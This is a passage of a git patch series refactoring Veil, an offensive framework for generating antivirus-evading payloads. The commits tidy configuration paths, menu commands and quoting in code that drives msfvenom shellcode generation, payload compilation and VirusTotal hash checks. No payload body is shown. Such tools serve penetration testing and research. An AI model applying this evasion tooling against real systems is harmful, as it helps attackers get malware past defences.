os.path.exists("/etc/veil/settings.py"): - try: - sys.path.append("/etc/veil/") - import settings - except: - print("Error importing Veil Settings!") - sys.exit(1) +# Try to find and import the settings.py config file +try: + sys.path.append("/etc/veil/") + import settings +except ImportError: + print( "\n [!] ERROR #1-8: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) + sys.exit() # Current version of Veil veil_version = "3.1.5" diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index a6c75e2..312a45d 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -16,7 +16,6 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: print( "\n [!] ERROR #1-2: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/evasion_common/evasion_helpers.py b/tools/evasion/evasion_common/evasion_helpers.py index 1d196f9..486af84 100644 --- a/tools/evasion/evasion_common/evasion_helpers.py +++ b/tools/evasion/evasion_common/evasion_helpers.py @@ -16,7 +16,6 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: print( "\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 0a4aa8e..5dc0c4a 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -13,7 +13,6 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: print( "\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 6d38740..599bd70 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -20,7 +20,6 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: print( "\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 248c9d6..3e34011 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -20,7 +20,6 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: print( "\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() From a1593b42d330e43491df318efdaf3c13bda4d343 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 11 Apr 2018 17:54:30 +0100 Subject: [PATCH 12/38] Typos --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 12f90dc..4dbac22 100644 --- a/README.md +++ b/README.md @@ -62,7 +62,7 @@ Install on a Windows Computer: Most of the time the config file at `/etc/veil/settings.py` will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by `./config/update-config.py`. -It is important that you are in the `config`/ directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following. +It is important that you are in the `./config/` directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following: ```bash Main Menu From fe320f626916400eb17477adabcd0d1c09c5831d Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 12:27:13 +0100 Subject: [PATCH 13/38] Removed un-used values from config --- config/update-config.py | 104 +++++++----------- lib/common/orchestra.py | 3 + tools/evasion/evasion_common/outfile.py | 2 +- .../evasion/evasion_common/shellcode_help.py | 2 +- tools/evasion/tool.py | 4 +- 5 files changed, 48 insertions(+), 67 deletions(-) diff --git a/config/update-config.py b/config/update-config.py index bc2c15a..9968324 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -49,37 +49,42 @@ def generateConfig(options): config += 'TERMINAL_CLEAR="' + options['TERMINAL_CLEAR'] + '"\n\n' print( " [*] TERMINAL_CLEAR = " + options['TERMINAL_CLEAR'] ) - # Wine + # Veil's path + config += '# Veil-Evasion install path\n' + config += 'VEIL_PATH="' + options['VEIL_PATH'] + '"\n\n' + print( " [*] VEIL_PATH = " + options['VEIL_PATH'] ) + + # Wine's path config += '# Wine environment\n' config += 'WINEPREFIX="' + options["WINEPREFIX"] + '"\n\n' print( " [*] WINEPREFIX = " + options["WINEPREFIX"] ) - # Temp folder + # Temp path config += '# Path to temporary directory\n' config += 'TEMP_PATH="' + options["TEMP_PATH"] + '"\n\n' print( " [*] TEMP_PATH = " + options["TEMP_PATH"] ) - # Metasploit-Framework + # Metasploit Framework's path config += '# The path to the metasploit framework, for example: /usr/share/metasploit-framework/\n' config += 'METASPLOIT_PATH="' + options['METASPLOIT_PATH'] + '"\n\n' print( " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] ) - # msfvenom + # msfvenom's path config += '# The path to msfvenom for shellcode generation purposes\n' config += 'MSFVENOM_PATH="' + options["MSFVENOM_PATH"] + '"\n\n' print( " [*] MSFVENOM_PATH = " + options["MSFVENOM_PATH"] ) - # msfvenom + # msfvenom's options config += '# Default options to pass to msfvenom for shellcode creation\n' config += 'MSFVENOM_OPTIONS="' + options['MSFVENOM_OPTIONS'] + '"\n\n' print( " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] ) - # PyInstaller Path + # PyInstaller's path config += '# The path to pyinstaller, for example: /var/lib/veil/PyInstaller/\n' config += 'PYINSTALLER_PATH="' + options['PYINSTALLER_PATH'] + '"\n\n' print( " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] ) - # GoLang Path + # GoLang's path config += '# The path to pyinstaller, for example: /var/lib/veil/go/\n' config += 'GOLANG_PATH="' + options['GOLANG_PATH'] + '"\n\n' print( " [*] GOLANG_PATH = " + options['GOLANG_PATH']) @@ -98,11 +103,6 @@ def generateConfig(options): """ print( "\n Veil-Evasion Configuration:" ) - # Veil-Evasion path - config += '# Veil-Evasion install path\n' - config += 'VEIL_EVASION_PATH="' + options['VEIL_EVASION_PATH'] + '"\n\n' - print( " [*] VEIL_EVASION_PATH = " + options['VEIL_EVASION_PATH'] ) - # Payload path source_path = os.path.expanduser( options["PAYLOAD_SOURCE_PATH"] ) config += '# Path to output the source of payloads\n' @@ -117,54 +117,21 @@ def generateConfig(options): # Handler path handler_path = os.path.expanduser( options["HANDLER_PATH"] ) - config += '# Whether to generate a msf handler script and where to place it\n' - config += 'GENERATE_HANDLER_SCRIPT="' + options['GENERATE_HANDLER_SCRIPT'] + '"\n' - print( " [*] GENERATE_HANDLER_SCRIPT = " + options['GENERATE_HANDLER_SCRIPT'] ) + config += '# Where to generate a msf handler script\n' config += 'HANDLER_PATH="' + handler_path + '"\n\n' print( " [*] HANDLER_PATH = " + handler_path ) - # Hash List + # Hash List file hash_path = os.path.expanduser( options["HASH_LIST"] ) config += '# Running hash list of all payloads generated\n' config += 'HASH_LIST="' + hash_path + '"\n\n' print( " [*] HASH_LIST = " + hash_path ) - # Padding between sections - print ( "\n" ) - - # Veil-Catapult - config += """ - -################################################# -# -# Veil-Catapult specific options -# -################################################# -""" - print( "\n Veil-Catapult Configuration:" ) - - # Veil-Catapult path - config += '# Veil-Catapult install path\n' - config += 'VEIL_CATAPULT_PATH="' + options['VEIL_CATAPULT_PATH'] + '"\n\n' - print( " [*] VEIL_CATAPULT_PATH = " + options['VEIL_CATAPULT_PATH'] ) - - # Veil-Catapult resource path - catapult_resource_path = os.path.expanduser( options["CATAPULT_RESOURCE_PATH"] ) - config += '# Path to output Veil-Catapult resource/cleanup files\n' - config += 'CATAPULT_RESOURCE_PATH="' + catapult_resource_path + '"\n\n' - print( " [*] CATAPULT_RESOURCE_PATH = " + catapult_resource_path + "\n" ) - - # Create the output compiled path if it doesn't exist if not os.path.exists( handler_path ): os.makedirs( handler_path ) print( " [I] Path Created: '" + handler_path ) - # Create the catapult resource path if it doesn't exist - if not os.path.exists( catapult_resource_path ): - os.makedirs( catapult_resource_path ) - print( " [I] Path Created: '" + catapult_resource_path ) - # Create the output source path if it doesn't exist if not os.path.exists( source_path ): os.makedirs( source_path ) @@ -217,21 +184,15 @@ def generateConfig(options): options["TEMP_PATH"] = "/tmp/" options["TERMINAL_CLEAR"] = "clear" options["WINEPREFIX"] = "/var/lib/veil/wine/" + VEIL_PATH = "/".join( os.getcwd().split( "/" )[:-1] ) + "/" + options["VEIL_PATH"] = VEIL_PATH # Veil-Evasion specific options - veil_evasion_path = "/".join( os.getcwd().split( "/" )[:-1] ) + "/" - options["VEIL_EVASION_PATH"] = veil_evasion_path - options["GENERATE_HANDLER_SCRIPT"] = "True" options["HANDLER_PATH"] = "/var/lib/veil/output/handlers/" options["HASH_LIST"] = "/var/lib/veil/output/hashes.txt" options["PAYLOAD_COMPILED_PATH"] = "/var/lib/veil/output/compiled/" options["PAYLOAD_SOURCE_PATH"] = "/var/lib/veil/output/source/" - # Veil-Catapult specific options - veil_catapult_path = "/".join( os.getcwd().split( "/" )[:-2] ) + "/veil-catapult/" - options["VEIL_CATAPULT_PATH"] = veil_catapult_path - options["CATAPULT_RESOURCE_PATH"] = "/var/lib/veil/output/catapult/" - # Kali if issue.startswith( "Kali" ): options["OPERATING_SYSTEM"] = "Kali" @@ -244,27 +205,44 @@ def generateConfig(options): options["METASPLOIT_PATH"] = "/opt/metasploit/msf3/" options["MSFVENOM_PATH"] = "/opt/metasploit/msf3/" + # Check the paths are correct (WINEPREFIX) + while not os.path.isdir( options["TEMP_PATH"] ): + path = raw_input( " [>] Please enter the directory of your system's temp path (e.g. /tmp/): " ) + options["TEMP_PATH"] = path + # Check the paths are correct (METASPLOIT_PATH) while not os.path.isdir( options["METASPLOIT_PATH"] ): - msfpath = raw_input( " [>] Please enter the directory of the Metasploit Framework (e.g. /opt/metasploit-framework/): " ) - options["METASPLOIT_PATH"] = msfpath + path = raw_input( " [>] Please enter the directory of the Metasploit Framework (e.g. /opt/metasploit-framework/): " ) + options["METASPLOIT_PATH"] = path # Check the paths are correct (MSFVENOM_PATH) while not os.path.isfile( options["MSFVENOM_PATH"] + "/msfvenom" ): - msfpath = raw_input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) - options["MSFVENOM_PATH"] = msfpath + path = raw_input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) + options["MSFVENOM_PATH"] = path + + # Check the paths are correct (VEIL_PATH) + while not os.path.isdir( options["VEIL_PATH"] ): + print( "\n [i] Can't find Veil's path? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = raw_input( " [>] Please enter the directory to Veil (e.g. /opt/veil/): " ) + options["VEIL_PATH"] = path # Check the paths are correct (PYINSTALLER_PATH) while not os.path.isdir( options["PYINSTALLER_PATH"] ): print( "\n [i] Can't find PyInstaller? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) - pypath = raw_input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) - options["PYINSTALLER_PATH"] = pypath + path = raw_input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) + options["PYINSTALLER_PATH"] = path + + # Check the paths are correct (WINEPREFIX) + while not os.path.isdir( options["WINEPREFIX"] ): + print( "\n [i] Can't find WINE profile? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = raw_input( " [>] Please enter the directory of Veil's WINE profile (e.g. /var/lib/veil/wine/): " ) + options["WINEPREFIX"] = path # Check the paths are correct (GOLANG_PATH) while not os.path.isdir( options["GOLANG_PATH"] ): print( "\n [i] Can't find GoLang? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) - gopath = raw_input( " [>] Please enter the directory of GoLang (e.g. /var/lib/veil/go/): " ) - options["GOLANG_PATH"] = gopath + path = raw_input( " [>] Please enter the directory of GoLang (e.g. /var/lib/veil/go/): " ) + options["GOLANG_PATH"] = path # Unsupported platform... else: print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index 312a45d..d3798d0 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -200,10 +200,12 @@ def main_menu(self): self.options_veil() main_menu_command = '' + # Hidden menu option elif main_menu_command.startswith('config'): self.config_veil() main_menu_command = '' + # Hidden menu option elif main_menu_command.startswith('setup'): self.setup_veil() main_menu_command = '' @@ -226,6 +228,7 @@ def main_menu(self): # Show options def options_veil(self): + print( " [i] Veil configuration file: /etc/veil/settings.py" ) for i in dir(settings): if i.startswith('_'): continue print( " [i] {0}: {1}".format( i , exec( "print ( settings." + i + " )" ) ), end='', flush=True) diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 5dc0c4a..60be3cc 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -111,7 +111,7 @@ def compiler(payload_object, invoked=False, cli_object=None): # Used for PyInstaller standard # copy the pyinstaller runw to maintain its integrity in the event # pwnstaller is added in for python3 - this will future proof it - runw_path = settings.VEIL_EVASION_PATH + 'tools/evasion/evasion_common/tools/runw.orig.exe' + runw_path = settings.VEIL_PATH + 'tools/evasion/evasion_common/tools/runw.orig.exe' os.system("cp " + runw_path + " " + settings.PYINSTALLER_PATH + "/PyInstaller/bootloader/Windows-32bit/runw.exe") # Validate python is installed in wine diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 599bd70..111187f 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -25,7 +25,7 @@ sys.exit() -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') +sys.path.insert(0, settings.VEIL_PATH + 'tools/ordnance') import tool as ordnance_import diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 3e34011..83bbe56 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -25,7 +25,7 @@ sys.exit() -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') +sys.path.insert(0, settings.VEIL_PATH + 'tools/ordnance') import tool as ordnance_import @@ -65,7 +65,7 @@ def check_vt(self, interactive=True): # It's only triggered if selected in menu and file isn't empty try: if os.stat(settings.HASH_LIST)[6] != 0: - checkVTcommand = settings.VEIL_EVASION_PATH + "tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0" + checkVTcommand = settings.VEIL_PATH + "tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0" print(helpers.color("\n [*] Checking Virus Total for payload hashes...\n")) checkVTout = subprocess.check_output(checkVTcommand, shell=True) checkVTout = checkVTout.decode('ascii') From b3ec443212096d8e379b12802551d4c924d59bd4 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 12:50:31 +0100 Subject: [PATCH 14/38] Add another clear check --- tools/ordnance/ordnance_common/ordnance_helpers.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/tools/ordnance/ordnance_common/ordnance_helpers.py b/tools/ordnance/ordnance_common/ordnance_helpers.py index f1f4d34..35dc2f7 100644 --- a/tools/ordnance/ordnance_common/ordnance_helpers.py +++ b/tools/ordnance/ordnance_common/ordnance_helpers.py @@ -8,8 +8,17 @@ import socket import string import struct +import sys from lib.common import helpers +# Try to find and import the settings.py config file +try: + sys.path.append("/etc/veil/") + import settings +except ImportError: + print( "\n [!] ERROR #1-9: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) + sys.exit() + def check_lhost(lhost_value): if validate_ip(lhost_value): @@ -66,7 +75,9 @@ def title_screen(): """ Print the framework title, with version. """ - os.system('clear') + if settings.TERMINAL_CLEAR != "false": + os.system('clear') + print('=' * 79) print(' ' * 35 + helpers.color('Veil-Ordnance', status=False, bold=True)) print('=' * 79) From 12eaaa3740d111cefd12cf3e4a9a5c53c01a987d Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 12:51:10 +0100 Subject: [PATCH 15/38] Switch to 'use' rather than 'payload' As it already says "use" in the example, as well as it being the same in the other tool (as well as everything else!) --- tools/ordnance/tool.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 159e7c7..e282424 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -29,7 +29,7 @@ def __init__(self, cli_options=None): self.command_options = cli_options self.ordnance_main_menu_commands = { "list": "List available [payloads] or [encoders]", - "payload": "Use a specific payload", + "use": "Use a specific payload", "info": "Information on a specific payload or encoder", "exit": "Exit Veil", "back": "Go to main Veil menu"} @@ -242,7 +242,7 @@ def tool_main_menu(self, invoked=False): else: sys.exit(0) - elif ordnance_main_command.lower().startswith('payload'): + elif ordnance_main_command.lower().startswith('use'): if len(ordnance_main_command.split()) < 2: print(helpers.color("[*] Error: You did not provide the payload to use!", warning=True)) print(helpers.color("[*] Ex: use rev_http", warning=True)) From 1b7ac766ab661ef55352038310ebb0195424b71d Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 13:42:54 +0100 Subject: [PATCH 16/38] Misc formatting --- lib/common/completer.py | 4 +-- tools/evasion/evasion_common/gamemaker.py | 2 +- tools/evasion/evasion_common/outfile.py | 12 +++---- .../evasion/evasion_common/shellcode_help.py | 36 +++++++++---------- .../payloads/autoit/shellcode_inject/flat.py | 8 ++--- .../payloads/auxiliary/coldwar_wrapper.py | 2 +- .../payloads/auxiliary/macro_converter.py | 8 ++--- .../payloads/auxiliary/pyinstaller_wrapper.py | 2 +- .../payloads/c/meterpreter/rev_http.py | 4 +-- .../c/meterpreter/rev_http_service.py | 4 +-- .../evasion/payloads/c/meterpreter/rev_tcp.py | 4 +-- .../payloads/c/meterpreter/rev_tcp_service.py | 4 +-- .../payloads/cs/meterpreter/rev_http.py | 4 +-- .../payloads/cs/meterpreter/rev_https.py | 4 +-- .../payloads/cs/meterpreter/rev_tcp.py | 4 +-- .../payloads/cs/shellcode_inject/base64.py | 6 ++-- .../payloads/cs/shellcode_inject/virtual.py | 6 ++-- .../payloads/go/meterpreter/rev_http.py | 4 +-- .../payloads/go/meterpreter/rev_https.py | 4 +-- .../payloads/go/meterpreter/rev_tcp.py | 4 +-- .../payloads/go/shellcode_inject/virtual.py | 6 ++-- .../payloads/lua/shellcode_inject/flat.py | 8 ++--- .../payloads/perl/shellcode_inject/flat.py | 6 ++-- .../powershell/meterpreter/rev_http.py | 4 +-- .../powershell/meterpreter/rev_https.py | 4 +-- .../powershell/meterpreter/rev_tcp.py | 4 +-- .../shellcode_inject/psexec_virtual.py | 6 ++-- .../powershell/shellcode_inject/virtual.py | 6 ++-- .../payloads/python/meterpreter/bind_tcp.py | 4 +-- .../payloads/python/meterpreter/rev_http.py | 4 +-- .../payloads/python/meterpreter/rev_https.py | 4 +-- .../payloads/python/meterpreter/rev_tcp.py | 4 +-- .../python/shellcode_inject/aes_encrypt.py | 6 ++-- .../python/shellcode_inject/arc_encrypt.py | 6 ++-- .../shellcode_inject/base64_substitution.py | 8 ++--- .../python/shellcode_inject/des_encrypt.py | 6 ++-- .../payloads/python/shellcode_inject/flat.py | 6 ++-- .../shellcode_inject/letter_substitution.py | 6 ++-- .../python/shellcode_inject/pidinject.py | 6 ++-- .../python/shellcode_inject/stallion.py | 6 ++-- .../payloads/ruby/meterpreter/rev_http.py | 2 +- .../payloads/ruby/meterpreter/rev_https.py | 4 +-- .../payloads/ruby/meterpreter/rev_tcp.py | 2 +- .../payloads/ruby/shellcode_inject/base64.py | 8 ++--- .../payloads/ruby/shellcode_inject/flat.py | 6 ++-- tools/ordnance/encoders/xor.py | 2 +- .../ordnance_common/payload_options.py | 8 ++--- tools/ordnance/payloads/x86/bind_tcp.py | 2 +- tools/ordnance/payloads/x86/rev_http.py | 6 ++-- tools/ordnance/payloads/x86/rev_https.py | 6 ++-- tools/ordnance/payloads/x86/rev_tcp.py | 4 +-- .../payloads/x86/rev_tcp_all_ports.py | 4 +-- tools/ordnance/payloads/x86/rev_tcp_dns.py | 4 +-- 53 files changed, 147 insertions(+), 147 deletions(-) diff --git a/lib/common/completer.py b/lib/common/completer.py index 67c2a8a..bc7caa7 100644 --- a/lib/common/completer.py +++ b/lib/common/completer.py @@ -193,7 +193,7 @@ def complete_set(self, args): options = [k for k in sorted(self.payload.required_options.keys())] - if args[0] != "": + if args[0] != '': if args[0].strip() == "LHOST": # autocomplete the IP for LHOST if settings.DISTRO == 'Debian': @@ -486,7 +486,7 @@ def complete_set(self, args): options = [k for k in sorted(self.payload.required_options.keys())] - if args[0] != "": + if args[0] != '': if args[0].strip() == "LHOST": if settings.DISTRO == 'Debian': ip_output = subprocess.getoutput("ip a").split("\n")[8][9:].split('/')[0] diff --git a/tools/evasion/evasion_common/gamemaker.py b/tools/evasion/evasion_common/gamemaker.py index caf2dc9..caba2fe 100644 --- a/tools/evasion/evasion_common/gamemaker.py +++ b/tools/evasion/evasion_common/gamemaker.py @@ -11,7 +11,7 @@ def senecas_games(evasion_payload): # Start checks to determine language # Define original values of variables num_tabs_required = 0 - check_code = '' + check_code = "" if evasion_payload.language == 'python': if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 60be3cc..068cf4f 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -55,7 +55,7 @@ def compiler(payload_object, invoked=False, cli_object=None): if payload_object.language == 'python': if not invoked: - compile_method = '' + compile_method = "" else: compile_method = cli_object.compiler # Check extension for war or normal python file @@ -72,7 +72,7 @@ def compiler(payload_object, invoked=False, cli_object=None): print(' %s - Py2Exe\n' % (helpers.color('2'))) user_compile_choice = input(" [>] Please enter the number of your choice: ") - if user_compile_choice == "1" or user_compile_choice == "": + if user_compile_choice == "1" or user_compile_choice == '': compile_method = "pyinstaller" elif user_compile_choice == "2": compile_method = "py2exe" @@ -301,10 +301,10 @@ def find_file_name(payload_name, selected_payload_object): def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_obj=None): - lhost_value = '' - lport_value = '' - rhost_value = '' - payload_used = '' + lhost_value = "" + lport_value = "" + rhost_value = "" + payload_used = "" skip_handler = False if selected_payobject.language != "native" and selected_payobject.extension != "war": diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 111187f..8258754 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -57,8 +57,8 @@ def __init__(self, cli_obj): self.ord_lport = None # Load cli options self.cli_options = cli_obj - self.payload_choice = '' - self.shellcode_options = '' + self.payload_choice = "" + self.shellcode_options = "" def Reset(self): """ @@ -257,7 +257,7 @@ def payload_selection_menu(self, showTitle=True): print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) return None - binary_code = '' + binary_code = "" # Convert from binary to shellcode for byte in file_shellcode: binary_code += "\\x" + hex(byte)[2:].zfill(2) @@ -294,7 +294,7 @@ def menu(self): showMessage = True # if no generation method has been selected yet - if self.msfvenomCommand == "" and self.custom_shellcode == "": + if self.msfvenomCommand == '' and self.custom_shellcode == '': # show banner? if settings.TERMINAL_CLEAR != "false": @@ -334,7 +334,7 @@ def menu(self): except: selected_payload = input(' [>] Please enter metasploit payload: ').strip().lower() - if selected_payload == "": + if selected_payload == '': # default to reverse_tcp for the payload selected_payload = "windows/meterpreter/reverse_tcp" try: @@ -360,7 +360,7 @@ def menu(self): # request a value for each required option for option in options: value = "" - while value == "": + while value == '': ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP @@ -385,7 +385,7 @@ def menu(self): # do a IP validation check if not helpers.validate_ip(value): if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True)) value = "" @@ -393,7 +393,7 @@ def menu(self): else: if not helpers.validate_hostname(value): if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True)) value = "" @@ -409,13 +409,13 @@ def menu(self): socket.inet_pton(socket.AF_INET6, value) except socket.error: if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" else: if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" @@ -432,12 +432,12 @@ def menu(self): if int(value) <= 0 or int(value) >= 65535: print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' + self.required_options['LPORT'][0] = "" value = "" except ValueError: print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' + self.required_options['LPORT'][0] = "" value = "" else: @@ -452,7 +452,7 @@ def menu(self): # clear out the tab completion readline.set_completer(completer.none().complete) selection = input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 or -OPTION2=value2): ').strip() - if selection != "": + if selection != '': num_extra_options = selection.split(' ') for xtra_opt in num_extra_options: if xtra_opt is not '': @@ -496,11 +496,11 @@ def generate(self, required_options=None): # if the msfvenom command nor shellcode are set, revert to the # interactive menu to set any options - if self.msfvenomCommand == "" and self.custom_shellcode == "": + if self.msfvenomCommand == '' and self.custom_shellcode == '': self.menu() # return custom specified shellcode if it was set previously - if self.custom_shellcode != "": + if self.custom_shellcode != '': return self.custom_shellcode elif self.invoke_ordnance: @@ -517,7 +517,7 @@ def generate(self, required_options=None): # generate the shellcode using msfvenom else: print(helpers.color("\n [*] Generating shellcode...")) - if self.msfvenomCommand == "": + if self.msfvenomCommand == '': print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) return None else: @@ -527,7 +527,7 @@ def generate(self, required_options=None): msfvenom_shellcode = subprocess.check_output(settings.MSFVENOM_PATH + self.msfvenomCommand, shell=True) self.shellcode_options = self.msfvenomCommand msfvenom_shellcode = msfvenom_shellcode.decode('ascii') - self.msfvenomCommand = '' + self.msfvenomCommand = "" return msfvenom_shellcode[22:-1].strip() @@ -539,7 +539,7 @@ def cli_msf_shellcode_gen(command_line_args): port = command_line_args.port # Parse extra flags to be included in msfvenom command - extra_options = '' + extra_options = "" if command_line_args.msfoptions is not None: num_extra_options = command_line_args.msfoptions.split(' ') for xtra_opt in num_extra_options: diff --git a/tools/evasion/payloads/autoit/shellcode_inject/flat.py b/tools/evasion/payloads/autoit/shellcode_inject/flat.py index 5e08362..418ef86 100644 --- a/tools/evasion/payloads/autoit/shellcode_inject/flat.py +++ b/tools/evasion/payloads/autoit/shellcode_inject/flat.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.path = "autoit/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False self.required_options = { @@ -44,7 +44,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' @@ -52,7 +52,7 @@ def generate(self): Shellcode = self.cli_shellcode # get it in AutoITs format - Shellcode = "0x" + "".join(Shellcode.split("\\x")) + Shellcode = "0x" + ''.join(Shellcode.split("\\x")) total_size = len(Shellcode) RandFuncName = evasion_helpers.randomString() diff --git a/tools/evasion/payloads/auxiliary/coldwar_wrapper.py b/tools/evasion/payloads/auxiliary/coldwar_wrapper.py index d00e49a..a286113 100644 --- a/tools/evasion/payloads/auxiliary/coldwar_wrapper.py +++ b/tools/evasion/payloads/auxiliary/coldwar_wrapper.py @@ -29,7 +29,7 @@ def __init__(self, cli_obj): self.name = "Coldwar Wrapper" self.path = "auxuliary/coldwar_wrapper" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.required_options = { "ORIGINAL_EXE" : ["", "Path to a .exe file to convert to .war file"] #/usr/share/windows-binaries/nc.exe diff --git a/tools/evasion/payloads/auxiliary/macro_converter.py b/tools/evasion/payloads/auxiliary/macro_converter.py index 1781321..0064d03 100644 --- a/tools/evasion/payloads/auxiliary/macro_converter.py +++ b/tools/evasion/payloads/auxiliary/macro_converter.py @@ -21,7 +21,7 @@ def __init__(self, cli_obj): self.name = "Macro Converter" self.path = "auxuliary/macro_converter" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.required_options = { "POSH_BATCH": ["", "Path to a powershell batch script"], @@ -76,7 +76,7 @@ def generate(self): shell = "Shell(exec)" bottom = "End Sub\r\n\r\n" - PayloadCode = '' + PayloadCode = "" PayloadCode = top + "\r\n" + payL + 